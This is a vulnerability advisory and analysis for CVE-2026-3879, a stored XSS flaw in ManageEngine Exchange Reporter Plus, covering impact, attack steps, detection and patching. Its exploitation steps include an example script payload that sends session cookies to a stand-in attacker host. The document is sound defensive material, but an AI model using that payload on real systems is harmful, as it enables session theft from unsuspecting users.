CVE-2026-3879: 
Zoho ManageEngine Exchange Reporter Plus vulnerability analysis and mitigation

CVE-2026-3879 is a Stored Cross-Site Scripting (XSS) vulnerability in Zohocorp ManageEngine Exchange Reporter Plus affecting all builds before version 5802 (including builds 5800, 5801, and all prior versions). The flaw resides in the Equipment Mailbox Details report within the Reports module, allowing an authenticated attacker with Exchange administrative privileges to inject persistent malicious scripts. It was disclosed on April 3, 2026, with the fix released on March 19, 2026 in build 5802. The CVSS v3.1 base score is reported as 4.8 (Medium) by NVD and 7.3 (High) by GitHub Advisory Database, reflecting differing privilege-level assumptions (ManageEngine Advisory, GitHub Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), caused by insufficient input validation when processing user-supplied data stored in the Equipment Mailbox Details report (ManageEngine Advisory, GitHub Advisory). An attacker with Exchange administrative privileges within the Exchange organization can inject malicious JavaScript into report fields; the payload is persistently stored and executes in the browser of any user who subsequently views the affected report. Exploitation requires network access to the application, low attack complexity, and victim interaction (a user must view the compromised report). The fix in build 5802 addresses the issue through proper input validation (ManageEngine Advisory).

Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript in the browser context of any user who views the Equipment Mailbox Details report, potentially enabling session cookie theft, unauthorized actions performed on behalf of the victim within Exchange Reporter Plus, redirection to malicious sites, and exfiltration of sensitive data displayed in the report (ManageEngine Advisory, GitHub Advisory). The confidentiality and integrity impacts are rated High under the GitHub Advisory scoring, reflecting the potential for full session compromise and unauthorized actions. Availability is not directly impacted by this vulnerability.

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time (GitHub Advisory). The EPSS score is approximately 0.023% (7th percentile), indicating a low near-term probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated attacker with Exchange administrative privileges, which limits the attack surface compared to unauthenticated vulnerabilities.

1. Gain Access: Obtain credentials for an account with Exchange administrative privileges within the Exchange organization that has access to ManageEngine Exchange Reporter Plus.
2. Navigate to the Vulnerable Report: Log in to Exchange Reporter Plus and navigate to the Reports module, then access the Equipment Mailbox Details report.
3. Inject Malicious Payload: Enter a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into an input field within the Equipment Mailbox Details report that is stored and later rendered without sanitization.
4. Persist the Payload: Save or submit the report entry containing the malicious script, which is now stored in the application database.
5. Wait for Victim Interaction: When another user (e.g., an administrator or analyst) views the affected Equipment Mailbox Details report, the stored script executes in their browser context.
6. Achieve Objective: The executed script can steal session cookies, perform actions within Exchange Reporter Plus on behalf of the victim, or exfiltrate data visible in the report to an attacker-controlled server (ManageEngine Advisory, GitHub Advisory).

• Logs: Unexpected or anomalous entries in Exchange Reporter Plus access logs showing report submissions containing HTML/JavaScript tags (e.g., <script>, onerror=, javascript:) in Equipment Mailbox Details report fields.
• Network: Outbound HTTP/HTTPS requests from victim browsers to unknown external domains shortly after accessing the Equipment Mailbox Details report, potentially carrying session token data in query parameters.
• Application Behavior: Users reporting unexpected redirects, pop-ups, or session terminations after viewing the Equipment Mailbox Details report.
• File System: Review application database entries for the Equipment Mailbox Details report for stored script tags or encoded JavaScript payloads in report field values.

Zohocorp has released a fix in ManageEngine Exchange Reporter Plus build 5802, which implements proper input validation to remediate this vulnerability; the fix was available as of March 19, 2026 (ManageEngine Advisory). Organizations should update to build 5802 or later using the service pack as the primary remediation step. As interim mitigations, restrict access to the Equipment Mailbox Details report to only trusted and necessary users, implement Content Security Policy (CSP) headers to limit XSS impact, and monitor report access logs for suspicious activity.

The vulnerability was responsibly disclosed through the Zoho BugBounty program by researcher C311, and Zohocorp acknowledged and patched the issue prior to public disclosure (ManageEngine Advisory). No significant broader community commentary or media coverage has been identified beyond standard vulnerability database entries.